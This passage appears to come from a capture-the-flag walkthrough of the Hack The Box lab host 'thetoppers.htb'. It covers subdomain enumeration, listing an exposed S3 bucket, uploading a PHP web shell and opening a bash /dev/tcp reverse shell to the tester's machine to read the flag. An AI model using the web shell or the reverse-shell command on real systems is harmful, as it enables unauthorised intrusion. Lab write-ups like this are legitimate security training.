&lt;pre&gt;&lt;code&gt;gobuster vhost -u http://thetoppers.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 --no-error --append-domain
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./subdomainsdiscovered.png&quot; alt=&quot;subdomain-discovered&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like we&apos;ve found something interesting this time, we were able to discover two hidden subdomains under the root domain&lt;/p&gt;
&lt;p&gt;First, let&apos;s take a look at the subdomain s3.thetoppers.htb&lt;/p&gt;
&lt;p&gt;But to do this, we need to edit the /etc/hosts file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nvim /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./likethis.png&quot; alt=&quot;subdomains3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./runningstring.png&quot; alt=&quot;runningstring&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And it looks like a service is running under this subdomain...&lt;/p&gt;
&lt;p&gt;But since we have no idea what it might do, we did a quick &lt;strong&gt;Google search&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./s3amazon.png&quot; alt=&quot;amazons3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thanks to a Google search, we were able to find out &lt;strong&gt;aws s3 bucket&lt;/strong&gt; is running in the background&lt;/p&gt;
&lt;h1&gt;Interacting with an AWS S3 Bucket&lt;/h1&gt;
&lt;p&gt;Now let&apos;s see how to interact with this service remotely&lt;/p&gt;
&lt;p&gt;First of all, we&apos;ll install the tool in case we don&apos;t already have it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install awscli
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&apos;s set up &lt;strong&gt;awscli&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aws configure
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./awsconfigure.png&quot; alt=&quot;awsconfigure&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once it&apos;s set up, let&apos;s interact with the service&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aws --endpoint=http://s3.thetoppers.htb/ s3 ls s3://thetoppers.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./commandinjection.png&quot; alt=&quot;insidethesubdomain&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, we were able to list the files located under the &lt;strong&gt;root domain&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Uploading a Malicious PHP File&lt;/h1&gt;
&lt;p&gt;Now that we know this, we&apos;ll create a malicious &lt;strong&gt;PHP&lt;/strong&gt; file that allows us to execute commands via the &lt;strong&gt;URL&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&apos; &amp;gt; shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once it&apos;s created, we&apos;ll upload it to the web service&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aws --endpoint=http://s3.thetoppers.htb/ s3 cp shell.php s3://thetoppers.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&apos;s verify that the file has been uploaded correctly and that we can run commands on the web service&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./verified.png&quot; alt=&quot;verified&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, it works correctly, and we are now able to execute commands within the web service&lt;/p&gt;
&lt;p&gt;With this in mind, let&apos;s now establish a &lt;strong&gt;reverse shell&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Reverse Shell&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;revshell.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.15.6/1234 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the reverse shell is created, we&apos;ll set up a local HTTP server to host it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -m http.server 8000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, we&apos;re going to open a listening port through which the shell will connect &lt;strong&gt;(Keep in mind that it must be the same port that we specified when creating the revshell)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -nvlp 1234
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now all we have to do is use the &lt;strong&gt;curl&lt;/strong&gt; utility to access the URL that is the web service and execute the &lt;strong&gt;reverse shell&lt;/strong&gt; we&apos;re hosting on our &lt;strong&gt;local Python server&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./revershellURL.png&quot; alt=&quot;rs&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./rshsc.png&quot; alt=&quot;rshcs&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we got the reverse shell!&lt;/p&gt;
&lt;p&gt;Now we can claim our flag &lt;strong&gt;:)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /var/www/flag.txt
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>